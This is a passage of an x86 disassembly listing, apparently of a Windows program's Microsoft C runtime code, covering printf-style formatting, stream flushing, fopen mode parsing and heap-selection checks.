--------------------------------------------------------------------------- loc_41A2E0: ; CODE XREF: sub_419E38+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41A328 or byte ptr [ebp+var_4+1], 2 jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2F3: ; CODE XREF: sub_419E38+417j lea eax, [ebp+arg_8] push eax call sub_41A617 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41A30C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41A311 ; --------------------------------------------------------------------------- loc_41A30C: ; CODE XREF: sub_419E38+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41A311: ; CODE XREF: sub_419E38+4D2j mov [ebp+var_28], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A31D: ; CODE XREF: sub_419E38+2F7j ; sub_419E38+40Ej or [ebp+var_4], 40h loc_41A321: ; CODE XREF: sub_419E38+432j mov [ebp+var_C], 0Ah loc_41A328: ; CODE XREF: sub_419E38+491j ; sub_419E38+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41A33A lea eax, [ebp+arg_8] push eax call sub_41A624 pop ecx jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A33A: ; CODE XREF: sub_419E38+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41A361 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A356 call sub_41A617 pop ecx movsx eax, ax loc_41A353: ; CODE XREF: sub_419E38+527j ; sub_419E38+539j cdq jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A356: ; CODE XREF: sub_419E38+510j call sub_41A617 pop ecx movzx eax, ax jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A361: ; CODE XREF: sub_419E38+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A373 call sub_41A617 pop ecx jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A373: ; CODE XREF: sub_419E38+531j call sub_41A617 pop ecx xor edx, edx loc_41A37B: ; CODE XREF: sub_419E38+500j ; sub_419E38+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41A39C test edx, edx jg short loc_41A39C jl short loc_41A38B test eax, eax jnb short loc_41A39C loc_41A38B: ; CODE XREF: sub_419E38+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41A3A0 ; --------------------------------------------------------------------------- loc_41A39C: ; CODE XREF: sub_419E38+547j ; sub_419E38+54Bj ... mov esi, eax mov edi, edx loc_41A3A0: ; CODE XREF: sub_419E38+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41A3A9 and edi, 0 loc_41A3A9: ; CODE XREF: sub_419E38+56Cj cmp [ebp+var_10], 0 jge short loc_41A3B8 mov [ebp+var_10], 1 jmp short loc_41A3BC ; --------------------------------------------------------------------------- loc_41A3B8: ; CODE XREF: sub_419E38+575j and [ebp+var_4], 0FFFFFFF7h loc_41A3BC: ; CODE XREF: sub_419E38+57Ej mov eax, esi or eax, edi jnz short loc_41A3C6 and [ebp+var_1C], 0 loc_41A3C6: ; CODE XREF: sub_419E38+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41A3CC: ; CODE XREF: sub_419E38+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41A3DC mov eax, esi or eax, edi jz short loc_41A417 loc_41A3DC: ; CODE XREF: sub_419E38+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4191D0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_419250 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41A40D add ebx, [ebp+var_2C] loc_41A40D: ; CODE XREF: sub_419E38+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41A3CC ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: sub_419E38+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41A442 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41A435 test eax, eax jnz short loc_41A442 loc_41A435: ; CODE XREF: sub_419E38+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41A43F: ; CODE XREF: sub_419E38+35Fj ; sub_419E38+406j ... mov [ebp+var_C], eax loc_41A442: ; CODE XREF: sub_419E38+21Bj ; sub_419E38+2FDj ... cmp [ebp+var_28], 0 jnz loc_41A540 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41A47A test bh, 1 jz short loc_41A45F mov [ebp+var_16], 2Dh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A45F: ; CODE XREF: sub_419E38+61Fj test bl, 1 jz short loc_41A46A mov [ebp+var_16], 2Bh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A46A: ; CODE XREF: sub_419E38+62Aj test bl, 2 jz short loc_41A47A mov [ebp+var_16], 20h loc_41A473: ; CODE XREF: sub_419E38+625j ; sub_419E38+630j mov [ebp+var_1C], 1 loc_41A47A: ; CODE XREF: sub_419E38+61Aj ; sub_419E38+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41A49A lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A49A: ; CODE XREF: sub_419E38+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41A5DF add esp, 10h test bl, 8 jz short loc_41A4CC test bl, 4 jnz short loc_41A4CC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41A5AE add esp, 10h loc_41A4CC: ; CODE XREF: sub_419E38+67Bj ; sub_419E38+680j cmp [ebp+var_24], 0 jz short loc_41A513 cmp [ebp+var_C], 0 jle short loc_41A513 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41A4E1: ; CODE XREF: sub_419E38+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41FAFB pop ecx test eax, eax pop ecx jle short loc_41A528 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41A5DF add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41A4E1 jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A513: ; CODE XREF: sub_419E38+698j ; sub_419E38+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41A5DF add esp, 10h loc_41A528: ; CODE XREF: sub_419E38+6BCj ; sub_419E38+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41A540 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A540: ; CODE XREF: sub_419E38+68j ; sub_419E38+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_419E64 loc_41A551: ; CODE XREF: sub_419E38+1Fj ; sub_419E38+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_419E38 endp ; --------------------------------------------------------------------------- off_41A559 dd offset loc_419FD7 ; DATA XREF: sub_419E38+6Er dd offset loc_419EAD ; jump table for switch statement dd offset loc_419EC8 dd offset loc_419F14 dd offset loc_419F4B dd offset loc_419F53 dd offset loc_419F88 dd offset loc_41A01B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A579 proc near ; CODE XREF: sub_419E38+1BDp ; sub_419E38+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41A592 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41A59D ; --------------------------------------------------------------------------- loc_41A592: ; CODE XREF: sub_41A579+9j push ecx push [ebp+arg_0] call sub_419D23 pop ecx pop ecx loc_41A59D: ; CODE XREF: sub_41A579+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41A5AA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41A5AA: ; CODE XREF: sub_41A579+2Aj inc dword ptr [eax] pop ebp retn sub_41A579 endp ; =============== S U B R O U T I N E ======================================= sub_41A5AE proc near ; CODE XREF: sub_419E38+65Ap ; sub_419E38+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41A5DC mov esi, [esp+8+arg_C] loc_41A5BF: ; CODE XREF: sub_41A5AE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41A579 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41A5DC mov eax, edi dec edi test eax, eax jg short loc_41A5BF loc_41A5DC: ; CODE XREF: sub_41A5AE+Bj ; sub_41A5AE+25j pop edi pop esi retn sub_41A5AE endp ; =============== S U B R O U T I N E ======================================= sub_41A5DF proc near ; CODE XREF: sub_419E38+670p ; sub_419E38+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41A613 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41A5F5: ; CODE XREF: sub_41A5DF+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41A579 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41A613 mov eax, ebx dec ebx test eax, eax jg short loc_41A5F5 loc_41A613: ; CODE XREF: sub_41A5DF+Cj ; sub_41A5DF+2Bj pop edi pop esi pop ebx retn sub_41A5DF endp ; =============== S U B R O U T I N E ======================================= sub_41A617 proc near ; CODE XREF: sub_419E38+E5p ; sub_419E38+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41A617 endp ; =============== S U B R O U T I N E ======================================= sub_41A624 proc near ; CODE XREF: sub_419E38+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41A624 endp ; =============== S U B R O U T I N E ======================================= sub_41A634 proc near ; CODE XREF: sub_419E38+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41A634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A642 proc near ; CODE XREF: sub_417794+17p ; sub_417794+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41A660 mov ecx, off_433C70 movzx eax, word ptr [ecx+eax*2] jmp short loc_41A6B2 ; --------------------------------------------------------------------------- loc_41A660: ; CODE XREF: sub_41A642+10j mov ecx, eax push esi mov esi, off_433C70 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41A685 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41A68E ; --------------------------------------------------------------------------- loc_41A685: ; CODE XREF: sub_41A642+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41A68E: ; CODE XREF: sub_41A642+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41FB63 add esp, 1Ch test eax, eax jnz short loc_41A6AE leave retn ; --------------------------------------------------------------------------- loc_41A6AE: ; CODE XREF: sub_41A642+68j movzx eax, word ptr [ebp+arg_0+2] loc_41A6B2: ; CODE XREF: sub_41A642+1Cj and eax, [ebp+arg_4] leave retn sub_41A642 endp ; =============== S U B R O U T I N E ======================================= sub_41A6B7 proc near ; CODE XREF: sub_417900+2Ap ; sub_41FEC6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4CEDE0 jnb loc_41A751 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41A751 push edi call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A730 cmp edi, 1 jz short loc_41A6FE cmp edi, 2 jnz short loc_41A714 loc_41A6FE: ; CODE XREF: sub_41A6B7+40j push 2 call sub_41FE32 push 1 mov ebp, eax call sub_41FE32 pop ecx cmp eax, ebp pop ecx jz short loc_41A730 loc_41A714: ; CODE XREF: sub_41A6B7+45j push edi call sub_41FE32 pop ecx push eax nop call near ptr 2651922h test eax, eax jnz short loc_41A730 nop call near ptr 2670ADCh mov ebp, eax jmp short loc_41A732 ; --------------------------------------------------------------------------- loc_41A730: ; CODE XREF: sub_41A6B7+3Bj ; sub_41A6B7+5Bj ... xor ebp, ebp loc_41A732: ; CODE XREF: sub_41A6B7+77j push edi call sub_41FDB8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41A74D push ebp call sub_41EF44 pop ecx jmp short loc_41A762 ; --------------------------------------------------------------------------- loc_41A74D: ; CODE XREF: sub_41A6B7+8Bj xor eax, eax jmp short loc_41A765 ; --------------------------------------------------------------------------- loc_41A751: ; CODE XREF: sub_41A6B7+Ej ; sub_41A6B7+2Fj and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41A762: ; CODE XREF: sub_41A6B7+94j or eax, 0FFFFFFFFh loc_41A765: ; CODE XREF: sub_41A6B7+98j pop edi pop esi pop ebp pop ebx retn sub_41A6B7 endp ; =============== S U B R O U T I N E ======================================= sub_41A76A proc near ; CODE XREF: sub_417900+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41A793 test al, 8 jz short loc_41A793 push dword ptr [esi+8] call sub_417C3B and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41A793: ; CODE XREF: sub_41A76A+Aj ; sub_41A76A+Ej pop esi retn sub_41A76A endp ; =============== S U B R O U T I N E ======================================= sub_41A795 proc near ; CODE XREF: sub_41A835+2Dp ; sub_41A835+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41A7A7 push esi call sub_41A835 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A7A7: ; CODE XREF: sub_41A795+7j push esi call sub_41A7D0 test eax, eax pop ecx jz short loc_41A7B7 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A7B7: ; CODE XREF: sub_41A795+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41A7CC push dword ptr [esi+10h] call sub_41FE6F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41A7CC: ; CODE XREF: sub_41A795+26j xor eax, eax pop esi retn sub_41A795 endp ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_417900+1Ap ; sub_418D0E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41A81D test ax, 108h jz short loc_41A81D mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41A81D push edi push eax push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, edi jnz short loc_41A816 mov eax, [esi+0Ch] test al, 80h jz short loc_41A81D and al, 0FDh mov [esi+0Ch], eax jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A816: ; CODE XREF: sub_41A7D0+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41A81D: ; CODE XREF: sub_41A7D0+14j ; sub_41A7D0+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41A7D0 endp ; =============== S U B R O U T I N E ======================================= sub_41A82C proc near ; CODE XREF: sub_41FAE7p push 1 call sub_41A835 pop ecx retn sub_41A82C endp ; =============== S U B R O U T I N E ======================================= sub_41A835 proc near ; CODE XREF: sub_41A795+Ap ; sub_41A82C+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4CECC0, esi jle short loc_41A893 loc_41A846: ; CODE XREF: sub_41A835+5Cj mov eax, dword_4CDCB0 mov eax, [eax+esi*4] test eax, eax jz short loc_41A88A mov ecx, [eax+0Ch] test cl, 83h jz short loc_41A88A cmp [esp+0Ch+arg_0], 1 jnz short loc_41A870 push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A88A inc ebx jmp short loc_41A88A ; --------------------------------------------------------------------------- loc_41A870: ; CODE XREF: sub_41A835+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41A88A test cl, 2 jz short loc_41A88A push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41A88A or edi, eax loc_41A88A: ; CODE XREF: sub_41A835+1Bj ; sub_41A835+23j ... inc esi cmp esi, dword_4CECC0 jl short loc_41A846 loc_41A893: ; CODE XREF: sub_41A835+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41A89E mov eax, edi loc_41A89E: ; CODE XREF: sub_41A835+65j pop edi pop esi pop ebx retn sub_41A835 endp ; =============== S U B R O U T I N E ======================================= sub_41A8A2 proc near ; CODE XREF: sub_417956+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41FA1C test eax, eax pop ecx jz short loc_41A92B cmp esi, offset dword_4363A8 jnz short loc_41A8C0 xor eax, eax jmp short loc_41A8CB ; --------------------------------------------------------------------------- loc_41A8C0: ; CODE XREF: sub_41A8A2+18j cmp esi, offset dword_4363C8 jnz short loc_41A92B push 1 pop eax loc_41A8CB: ; CODE XREF: sub_41A8A2+1Cj inc dword_4CDB78 test word ptr [esi+0Ch], 10Ch jnz short loc_41A92B cmp dword_4CDA0C[eax*4], 0 push ebx push edi lea edi, ds:4CDA0Ch[eax*4] mov ebx, 1000h jnz short loc_41A911 push ebx call sub_417B89 test eax, eax pop ecx mov [edi], eax jnz short loc_41A911 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A91E ; --------------------------------------------------------------------------- loc_41A911: ; CODE XREF: sub_41A8A2+4Dj ; sub_41A8A2+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41A91E: ; CODE XREF: sub_41A8A2+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41A92B: ; CODE XREF: sub_41A8A2+10j ; sub_41A8A2+24j ... xor eax, eax pop esi retn sub_41A8A2 endp ; =============== S U B R O U T I N E ======================================= sub_41A92F proc near ; CODE XREF: sub_417956+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41A959 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41A96A push esi call sub_41A7D0 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A959: ; CODE XREF: sub_41A92F+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41A96A push eax call sub_41A7D0 pop ecx loc_41A96A: ; CODE XREF: sub_41A92F+10j ; sub_41A92F+32j pop esi retn sub_41A92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A96C proc near ; CODE XREF: sub_417988+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4CDB80 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41A9A5 cmp al, 72h jz short loc_41A99E cmp al, 77h jnz loc_41AAB9 mov ecx, 301h jmp short loc_41A9AA ; --------------------------------------------------------------------------- loc_41A99E: ; CODE XREF: sub_41A96C+21j xor ecx, ecx or esi, 1 jmp short loc_41A9AD ; --------------------------------------------------------------------------- loc_41A9A5: ; CODE XREF: sub_41A96C+1Dj mov ecx, 109h loc_41A9AA: ; CODE XREF: sub_41A96C+30j or esi, 2 loc_41A9AD: ; CODE XREF: sub_41A96C+37j push 1 pop edx loc_41A9B0: ; CODE XREF: sub_41A96C+8Bj ; sub_41A96C+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41AA9F cmp edx, ebx jz loc_41AA9F movsx eax, al cmp eax, 54h jg short loc_41AA3E jz short loc_41AA2E sub eax, 2Bh jz short loc_41AA18 sub eax, 19h jz short loc_41AA0E sub eax, 0Eh jz short loc_41A9F9 dec eax jnz loc_41AA90 cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41A9F9: ; CODE XREF: sub_41A96C+6Fj cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA0E: ; CODE XREF: sub_41A96C+6Aj test cl, 40h jnz short loc_41AA90 or ecx, 40h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA18: ; CODE XREF: sub_41A96C+65j test cl, 2 jnz short loc_41AA90 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA2E: ; CODE XREF: sub_41A96C+60j mov eax, 1000h test ecx, eax jnz short loc_41AA90 or ecx, eax jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA3E: ; CODE XREF: sub_41A96C+5Ej sub eax, 62h jz short loc_41AA8B dec eax jz short loc_41AA74 sub eax, 0Bh jz short loc_41AA5D sub eax, 6 jnz short loc_41AA90 test ch, 0C0h jnz short loc_41AA90 or ch, 40h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA5D: ; CODE XREF: sub_41A96C+DDj cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA74: ; CODE XREF: sub_41A96C+D8j cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA8B: ; CODE XREF: sub_41A96C+D5j test ch, 0C0h jz short loc_41AA97 loc_41AA90: ; CODE XREF: sub_41A96C+72j ; sub_41A96C+7Bj ... xor edx, edx jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA97: ; CODE XREF: sub_41A96C+122j or ch, 80h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA9F: ; CODE XREF: sub_41A96C+4Aj ; sub_41A96C+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41FEC6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41AABD loc_41AAB9: ; CODE XREF: sub_41A96C+25j xor eax, eax jmp short loc_41AAD7 ; --------------------------------------------------------------------------- loc_41AABD: ; CODE XREF: sub_41A96C+14Bj mov eax, [ebp+arg_C] inc dword_4CDB78 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41AAD7: ; CODE XREF: sub_41A96C+14Fj pop edi pop esi pop ebx leave retn sub_41A96C endp ; =============== S U B R O U T I N E ======================================= sub_41AADC proc near ; CODE XREF: sub_417988p mov edx, dword_4CECC0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41AB4D mov ebx, dword_4CDCB0 mov edi, ebx loc_41AAF8: ; CODE XREF: sub_41AADC+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41AB13 test byte ptr [ecx+0Ch], 83h jz short loc_41AB0E inc eax add edi, 4 cmp eax, edx jl short loc_41AAF8 jmp short loc_41AB4D ; --------------------------------------------------------------------------- loc_41AB0E: ; CODE XREF: sub_41AADC+26j mov esi, [ebx+eax*4] jmp short loc_41AB37 ; --------------------------------------------------------------------------- loc_41AB13: ; CODE XREF: sub_41AADC+20j mov edi, eax push 20h shl edi, 2 call sub_417B89 pop ecx mov ecx, dword_4CDCB0 mov [edi+ecx], eax mov eax, dword_4CDCB0 mov edi, [edi+eax] cmp edi, ebp jz short loc_41AB4D mov esi, edi loc_41AB37: ; CODE XREF: sub_41AADC+35j cmp esi, ebp jz short loc_41AB4D or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41AB4D: ; CODE XREF: sub_41AADC+12j ; sub_41AADC+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AADC endp ; =============== S U B R O U T I N E ======================================= sub_41AB54 proc near ; CODE XREF: sub_417B9B+1Fp ; sub_41944F+126p ... arg_0 = dword ptr 4 mov eax, dword_4CDA18 test eax, eax jz short loc_41AB6C push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41AB6C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AB6C: ; CODE XREF: sub_41AB54+7j ; sub_41AB54+12j xor eax, eax retn sub_41AB54 endp ; =============== S U B R O U T I N E ======================================= sub_41AB6F proc near ; CODE XREF: ___:0041ACD2p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call near ptr 2740D6Eh nop cmp word ptr [eax], 5A4Dh jnz short loc_41AB9A mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41AB9A add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41AB9A: ; CODE XREF: sub_41AB6F+15j ; sub_41AB6F+1Cj pop esi retn sub_41AB6F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_417B30 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 27B1523h nop test eax, eax jz short loc_41ABDF cmp dword ptr [ebp-88h], 2 jnz short loc_41ABDF cmp dword ptr [ebp-94h], 5 jb short loc_41ABDF push 1 pop eax jmp loc_41ACE1 ; --------------------------------------------------------------------------- loc_41ABDF: ; CODE XREF: ___:0041ABC3j ; ___:0041ABCCj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 2860000h nop test eax, eax jz loc_41ACCE xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41AC21 loc_41AC0E: ; CODE XREF: ___:0041AC1Fj mov al, [ecx] cmp al, 61h jl short loc_41AC1C cmp al, 7Ah jg short loc_41AC1C sub al, 20h mov [ecx], al loc_41AC1C: ; CODE XREF: ___:0041AC12j ; ___:0041AC16j inc ecx cmp [ecx], bl jnz short loc_41AC0E loc_41AC21: ; CODE XREF: ___:0041AC0Cj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_418DA0 add esp, 0Ch test eax, eax jnz short loc_41AC43 lea eax, [ebp-122Ch] jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC43: ; CODE XREF: ___:0041AC39j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2680000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41AC77 loc_41AC64: ; CODE XREF: ___:0041AC75j mov al, [ecx] cmp al, 61h jl short loc_41AC72 cmp al, 7Ah jg short loc_41AC72 sub al, 20h mov [ecx], al loc_41AC72: ; CODE XREF: ___:0041AC68j ; ___:0041AC6Cj inc ecx cmp [ecx], bl jnz short loc_41AC64 loc_41AC77: ; CODE XREF: ___:0041AC62j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_417880 pop ecx pop ecx loc_41AC8C: ; CODE XREF: ___:0041AC41j cmp eax, ebx jz short loc_41ACCE push 2Ch push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx jz short loc_41ACCE inc eax mov ecx, eax cmp [eax], bl jz short loc_41ACB3 loc_41ACA5: ; CODE XREF: 